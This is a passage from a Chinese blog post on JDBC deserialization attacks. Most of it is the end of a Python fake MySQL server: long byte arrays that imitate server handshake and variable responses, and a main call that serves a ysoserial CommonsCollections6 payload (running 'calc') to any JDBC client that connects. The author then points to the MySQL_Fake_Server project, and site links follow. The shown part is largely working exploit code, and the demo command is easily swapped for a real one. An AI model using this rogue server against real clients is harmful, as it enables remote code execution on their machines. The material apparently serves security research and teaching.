    0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x5f, 
    0x69, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 
    0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00, 
    0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x2a, 
    0x00, 0x00, 0x03, 0x03, 0x64, 0x65, 0x66, 0x00, 
    0x00, 0x00, 0x14, 0x63, 0x68, 0x61, 0x72, 0x61, 
    0x63, 0x74, 0x65, 0x72, 0x5f, 0x73, 0x65, 0x74, 
    0x5f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x00, 
    0x0c, 0x21, 0x00, 0x0c, 0x00, 0x00, 0x00, 0xfd, 
    0x00, 0x00, 0x1f, 0x00, 0x00, 0x2e, 0x00, 0x00, 
    0x04, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 
    0x18, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63, 0x74, 
    0x65, 0x72, 0x5f, 0x73, 0x65, 0x74, 0x5f, 0x63, 
    0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 
    0x6e, 0x00, 0x0c, 0x21, 0x00, 0x0c, 0x00, 0x00, 
    0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x2b, 
    0x00, 0x00, 0x05, 0x03, 0x64, 0x65, 0x66, 0x00, 
    0x00, 0x00, 0x15, 0x63, 0x68, 0x61, 0x72, 0x61, 
    0x63, 0x74, 0x65, 0x72, 0x5f, 0x73, 0x65, 0x74, 
    0x5f, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 
    0x00, 0x0c, 0x21, 0x00, 0x0c, 0x00, 0x00, 0x00, 
    0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x2a, 0x00, 
    0x00, 0x06, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 
    0x00, 0x14, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63, 
    0x74, 0x65, 0x72, 0x5f, 0x73, 0x65, 0x74, 0x5f, 
    0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x00, 0x0c, 
    0x21, 0x00, 0x0c, 0x00, 0x00, 0x00, 0xfd, 0x00, 
    0x00, 0x1f, 0x00, 0x00, 0x26, 0x00, 0x00, 0x07, 
    0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x10, 
    0x63, 0x6f, 0x6c, 0x6c, 0x61, 0x74, 0x69, 0x6f, 
    0x6e, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 
    0x00, 0x0c, 0x21, 0x00, 0x2d, 0x00, 0x00, 0x00, 
    0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x2a, 0x00, 
    0x00, 0x08, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 
    0x00, 0x14, 0x63, 0x6f, 0x6c, 0x6c, 0x61, 0x74, 
    0x69, 0x6f, 0x6e, 0x5f, 0x63, 0x6f, 0x6e, 0x6e, 
    0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x0c, 
    0x21, 0x00, 0x2d, 0x00, 0x00, 0x00, 0xfd, 0x00, 
    0x00, 0x1f, 0x00, 0x00, 0x22, 0x00, 0x00, 0x09, 
    0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x0c, 
    0x69, 0x6e, 0x69, 0x74, 0x5f, 0x63, 0x6f, 0x6e, 
    0x6e, 0x65, 0x63, 0x74, 0x00, 0x0c, 0x21, 0x00, 
    0x2a, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f, 
    0x00, 0x00, 0x29, 0x00, 0x00, 0x0a, 0x03, 0x64, 
    0x65, 0x66, 0x00, 0x00, 0x00, 0x13, 0x69, 0x6e, 
    0x74, 0x65, 0x72, 0x61, 0x63, 0x74, 0x69, 0x76, 
    0x65, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75, 
    0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00, 
    0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x1d, 
    0x00, 0x00, 0x0b, 0x03, 0x64, 0x65, 0x66, 0x00, 
    0x00, 0x00, 0x07, 0x6c, 0x69, 0x63, 0x65, 0x6e, 
    0x73, 0x65, 0x00, 0x0c, 0x21, 0x00, 0x09, 0x00, 
    0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 
    0x2c, 0x00, 0x00, 0x0c, 0x03, 0x64, 0x65, 0x66, 
    0x00, 0x00, 0x00, 0x16, 0x6c, 0x6f, 0x77, 0x65, 
    0x72, 0x5f, 0x63, 0x61, 0x73, 0x65, 0x5f, 0x74, 
    0x61, 0x62, 0x6c, 0x65, 0x5f, 0x6e, 0x61, 0x6d, 
    0x65, 0x73, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 
    0x00, 0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 
    0x28, 0x00, 0x00, 0x0d, 0x03, 0x64, 0x65, 0x66, 
    0x00, 0x00, 0x00, 0x12, 0x6d, 0x61, 0x78, 0x5f, 
    0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x64, 0x5f, 
    0x70, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x00, 0x0c, 
    0x3f, 0x00, 0x15, 0x00, 0x00, 0x00, 0x08, 0xa0 ];
    part2= [
    0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x0e, 
    0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x11, 
    0x6e, 0x65, 0x74, 0x5f, 0x77, 0x72, 0x69, 0x74, 
    0x65, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75, 
    0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00, 
    0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x26, 
    0x00, 0x00, 0x0f, 0x03, 0x64, 0x65, 0x66, 0x00, 
    0x00, 0x00, 0x10, 0x71, 0x75, 0x65, 0x72, 0x79, 
    0x5f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x5f, 0x73, 
    0x69, 0x7a, 0x65, 0x00, 0x0c, 0x3f, 0x00, 0x15, 
    0x00, 0x00, 0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 
    0x00, 0x26, 0x00, 0x00, 0x10, 0x03, 0x64, 0x65, 
    0x66, 0x00, 0x00, 0x00, 0x10, 0x71, 0x75, 0x65, 
    0x72, 0x79, 0x5f, 0x63, 0x61, 0x63, 0x68, 0x65, 
    0x5f, 0x74, 0x79, 0x70, 0x65, 0x00, 0x0c, 0x21, 
    0x00, 0x09, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 
    0x1f, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x11, 0x03, 
    0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x08, 0x73, 
    0x71, 0x6c, 0x5f, 0x6d, 0x6f, 0x64, 0x65, 0x00, 
    0x0c, 0x21, 0x00, 0x9b, 0x01, 0x00, 0x00, 0xfd, 
    0x00, 0x00, 0x1f, 0x00, 0x00, 0x26, 0x00, 0x00, 
    0x12, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 
    0x10, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x5f, 
    0x74, 0x69, 0x6d, 0x65, 0x5f, 0x7a, 0x6f, 0x6e, 
    0x65, 0x00, 0x0c, 0x21, 0x00, 0x12, 0x00, 0x00, 
    0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x1f, 
    0x00, 0x00, 0x13, 0x03, 0x64, 0x65, 0x66, 0x00, 
    0x00, 0x00, 0x09, 0x74, 0x69, 0x6d, 0x65, 0x5f, 
    0x7a, 0x6f, 0x6e, 0x65, 0x00, 0x0c, 0x21, 0x00, 
    0x12, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f, 
    0x00, 0x00, 0x2b, 0x00, 0x00, 0x14, 0x03, 0x64, 
    0x65, 0x66, 0x00, 0x00, 0x00, 0x15, 0x74, 0x72, 
    0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 
    0x6e, 0x5f, 0x69, 0x73, 0x6f, 0x6c, 0x61, 0x74, 
    0x69, 0x6f, 0x6e, 0x00, 0x0c, 0x21, 0x00, 0x2d, 
    0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 
    0x00, 0x22, 0x00, 0x00, 0x15, 0x03, 0x64, 0x65, 
    0x66, 0x00, 0x00, 0x00, 0x0c, 0x77, 0x61, 0x69, 
    0x74, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75, 
    0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00, 
    0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x1f, 
    0x01, 0x00, 0x16, 0x01, 0x31, 0x04, 0x75, 0x74, 
    0x66, 0x38, 0x04, 0x75, 0x74, 0x66, 0x38, 0x04, 
    0x75, 0x74, 0x66, 0x38, 0x04, 0x75, 0x74, 0x66, 
    0x38, 0x0f, 0x75, 0x74, 0x66, 0x38, 0x5f, 0x75, 
    0x6e, 0x69, 0x63, 0x6f, 0x64, 0x65, 0x5f, 0x63, 
    0x69, 0x0f, 0x75, 0x74, 0x66, 0x38, 0x5f, 0x67, 
    0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x5f, 0x63, 
    0x69, 0x0e, 0x53, 0x45, 0x54, 0x20, 0x4e, 0x41, 
    0x4d, 0x45, 0x53, 0x20, 0x75, 0x74, 0x66, 0x38, 
    0x03, 0x31, 0x32, 0x30, 0x03, 0x47, 0x50, 0x4c, 
    0x01, 0x31, 0x08, 0x31, 0x36, 0x37, 0x37, 0x37, 
    0x32, 0x31, 0x36, 0x02, 0x36, 0x30, 0x07, 0x31, 
    0x30, 0x34, 0x38, 0x35, 0x37, 0x36, 0x03, 0x4f, 
    0x46, 0x46, 0x89, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 
    0x46, 0x55, 0x4c, 0x4c, 0x5f, 0x47, 0x52, 0x4f, 
    0x55, 0x50, 0x5f, 0x42, 0x59, 0x2c, 0x53, 0x54, 
    0x52, 0x49, 0x43, 0x54, 0x5f, 0x54, 0x52, 0x41, 
    0x4e, 0x53, 0x5f, 0x54, 0x41, 0x42, 0x4c, 0x45, 
    0x53, 0x2c, 0x4e, 0x4f, 0x5f, 0x5a, 0x45, 0x52, 
    0x4f, 0x5f, 0x49, 0x4e, 0x5f, 0x44, 0x41, 0x54, 
    0x45, 0x2c, 0x4e, 0x4f, 0x5f, 0x5a, 0x45, 0x52, 
    0x4f, 0x5f, 0x44, 0x41, 0x54, 0x45, 0x2c, 0x45, 
    0x52, 0x52, 0x4f, 0x52, 0x5f, 0x46, 0x4f, 0x52, 
    0x5f, 0x44, 0x49, 0x56, 0x49, 0x53, 0x49, 0x4f, 
    0x4e, 0x5f, 0x42, 0x59, 0x5f, 0x5a, 0x45, 0x52, 
    0x4f, 0x2c, 0x4e, 0x4f, 0x5f, 0x41, 0x55, 0x54 ]
    part3= [
    0x4f, 0x5f, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 
    0x5f, 0x55, 0x53, 0x45, 0x52, 0x2c, 0x4e, 0x4f, 
    0x5f, 0x45, 0x4e, 0x47, 0x49, 0x4e, 0x45, 0x5f, 
    0x53, 0x55, 0x42, 0x53, 0x54, 0x49, 0x54, 0x55, 
    0x54, 0x49, 0x4f, 0x4e, 0x12, 0xe4, 0xb8, 0xad, 
    0xe5, 0x9b, 0xbd, 0xe6, 0xa0, 0x87, 0xe5, 0x87, 
    0x86, 0xe6, 0x97, 0xb6, 0xe9, 0x97, 0xb4, 0x06, 
    0x2b, 0x30, 0x38, 0x3a, 0x30, 0x30, 0x0f, 0x52, 
    0x45, 0x50, 0x45, 0x41, 0x54, 0x41, 0x42, 0x4c, 
    0x45, 0x2d, 0x52, 0x45, 0x41, 0x44, 0x03, 0x31, 
    0x32, 0x30, 0x07, 0x00, 0x00, 0x17, 0xfe, 0x00, 
    0x00, 0x02, 0x00, 0x00, 0x00 ]
    join_part = bytes(part1+part2+part3)
    return  join_part


if __name__ == "__main__":
    start_server(3306,"unableUse",["java8","-jar","./ysoserial.jar","CommonsCollections6","calc"])

对于从mysql服务器返回恶意对象的方法,github上已经有相关项目,参考

https://github.com/fnmsd/MySQL_Fake_Server

以及在su18师傅在博客中提到的 cobar

标签:JDBC,JAVA,x61,x65,x73,x5f,part,x00,x6f
From: https://www.cnblogs.com/cyyyyi/p/18666340

相关文章

  • Java基础--变量和数据类型
    变量和数据类型:*基本类型的变量:1.整数类型:byte、short、int、longJava只定义了带符号的整型,因此,最高位的bit表示符号位(0表示正数,1表示负数)。各种整型能表示的最大范围如下:byte:-128~127short:-32768~32767int:-2147483648~2147483647long:-9223372036854......
  • 第一个java程序,Hello,World
    HelloWorld随便新建一个文件夹,存放代码新建一个Java文件文件后缀名为javaHello.java[注意点]系统可能没有显示文件后缀名,我们需要手动打开编写代码publicclassHello{ publicstaticvoidmain(String[]args){ System.out.print("Hello,World!"); }}编......
  • Java基础学习(六)
    Java基础学习(六):面向对象目录Java基础学习(六):面向对象概念类的结构对象的创建与初始化内存分析封装继承多态Instanceof和类型转换Static关键字抽象类接口内部类本文为个人学习记录,内容学习自狂神说Java概念面向过程vs面向对象面向过程步骤清晰简单,第一步做什么,第二......
  • 【Java项目】基于SpringBoot+Vue的青少年心理健康教育网站的设计与实现(源码+LW+包运行
    源码获取:https://download.csdn.net/download/u011832806/90004967基于SpringBoot+Vue的青少年心理健康教育网站开发语言:Java数据库:MySQL技术:SpringBoot+MyBatis+Vue.js工具:IDEA/Ecilpse、Navicat、Maven青少年心理健康教育网站是一个专注于提供青少年心理健康知识和......
  • Java面试题汇总-Java基础篇(共50道题)
    Java基础目录Java基础一、java中的序列化和反序列化是什么?二、什么是java的不可变类?三、Java中Exception和Error有什么区别?四、你觉得java的优势是什么?五、什么是java的多态特性?六、java中的参数传递是按值还是按引用?七、为什么java不支持多重继承?八、面向对象......
  • 101_基于JAVA的社团管理系统的设计与实现
    ......
  • python+uniapp基于微信小程序的小区服务管理系统java+nodejs+php-计算机毕业设计
    目录技术介绍具体实现截图微信开发者工具HBuilderXuniapp系统设计java类核心代码部分展示登录的业务流程的顺序是:可行性论证详细视频演示技术可行性系统测试系统安全性数据完整性实现思路系统实现源码获取技术介绍如今微信小程序有以下发展优势(1)无须下载,无须注......
  • python+uniapp基于微信小程序的实习生管理系统java+nodejs+php-计算机毕业设计
    目录技术介绍具体实现截图微信开发者工具HBuilderXuniapp系统设计java类核心代码部分展示登录的业务流程的顺序是:可行性论证详细视频演示技术可行性系统测试系统安全性数据完整性实现思路系统实现源码获取技术介绍如今微信小程序有以下发展优势(1)无须下载,无须注......
  • java香烟销售管理系统论文+源码 2025毕设
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容一、研究背景随着社会的发展,烟草行业在经济中占据着重要的地位。然而,传统的香烟销售管理方式面临着诸多挑战。在市场方面,消费者需求日益多样化,对香烟的种类、......
  • java智能排课系统的设计与实现论文+源码 2025毕设
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容一、研究背景随着教育规模的不断扩大和教育资源的日益丰富,传统的人工排课方式已经难以满足现代教育管理的需求。在学校中,课程种类繁多、教师数量众多、教学资......